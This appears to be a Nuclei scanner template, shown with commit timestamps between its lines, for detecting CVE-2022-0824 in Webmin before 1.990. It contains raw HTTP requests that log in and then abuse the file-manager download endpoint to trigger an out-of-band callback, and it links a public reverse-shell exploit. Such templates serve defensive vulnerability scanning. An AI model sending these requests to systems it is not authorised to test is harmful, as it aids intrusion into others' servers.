2022-03-07 07:55:25 +00:00
id : CVE-2022-0824
info :
2023-03-27 17:46:47 +00:00
name : Webmin <1.990 - Improper Access Control
2022-03-07 07:55:25 +00:00
author : cckuailong
severity : high
2023-03-27 17:46:47 +00:00
description : Webmin before 1.990 is susceptible to improper access control in GitHub repository webmin/webmin. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to gain unauthorized access to sensitive information or perform unauthorized actions.
2023-09-06 11:59:08 +00:00
remediation : |
Upgrade Webmin to version 1.990 or later to mitigate this vulnerability.
2022-03-07 07:55:25 +00:00
reference :
- https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell/blob/main/Webmin-revshell.py
2022-11-08 08:15:30 +00:00
- https://github.com/webmin/webmin/commit/39ea464f0c40b325decd6a5bfb7833fa4a142e38
- https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295
2023-03-27 17:46:47 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-0824
2024-01-29 17:11:14 +00:00
- https://github.com/nomi-sec/PoC-in-GitHub
2022-11-08 08:15:30 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.8
cve-id : CVE-2022-0824
2023-07-11 19:49:27 +00:00
cwe-id : CWE-284,CWE-863
2024-01-14 13:49:27 +00:00
epss-score : 0.97246
2024-01-29 17:11:14 +00:00
epss-percentile : 0.99819
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:webmin:webmin:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : webmin
product : webmin
2024-01-14 09:21:50 +00:00
tags : cve,cve2022,rce,oss,huntr,webmin,authenticated
2022-03-07 07:55:25 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-03-07 07:55:25 +00:00
- raw :
- |
POST /session_login.cgi HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
Cookie : redirect=1;testing=1;PHPSESSID=;
user={{username}}&pass={{password}}
- |
POST /extensions/file-manager/http_download.cgi?module=filemin HTTP/1.1
Host : {{Hostname}}
Accept : application/json, text/javascript, */*; q=0.01
Accept-Encoding : gzip, deflate
Content-Type : application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With : XMLHttpRequest
Referer : {{RootURL}}/filemin/?xnavigation=1
2022-11-08 07:56:39 +00:00
link=http://{{interactsh-url}}&username=&password=&path=/{{ranstr}}
2022-03-07 07:55:25 +00:00
2022-11-08 07:56:39 +00:00
matchers-condition : and
2022-03-07 07:55:25 +00:00
matchers :
- type : word
part : interactsh_protocol
words :
2022-11-08 07:56:39 +00:00
- "dns"
- type : word
part : body
words :
- "Failed to write to /{{ranstr}}/index.html"
2024-01-30 06:46:18 +00:00
# digest: 4b0a00483046022100f880792facd5c0e768f8ad124c2243e00a94c1c7ec0485023cc33e76ab1be562022100fa1fd25ccd3f731f94205d3572305c156be2fe3431183e251164deffd8ff666c:922c64590222798bb761d5b6d8e72950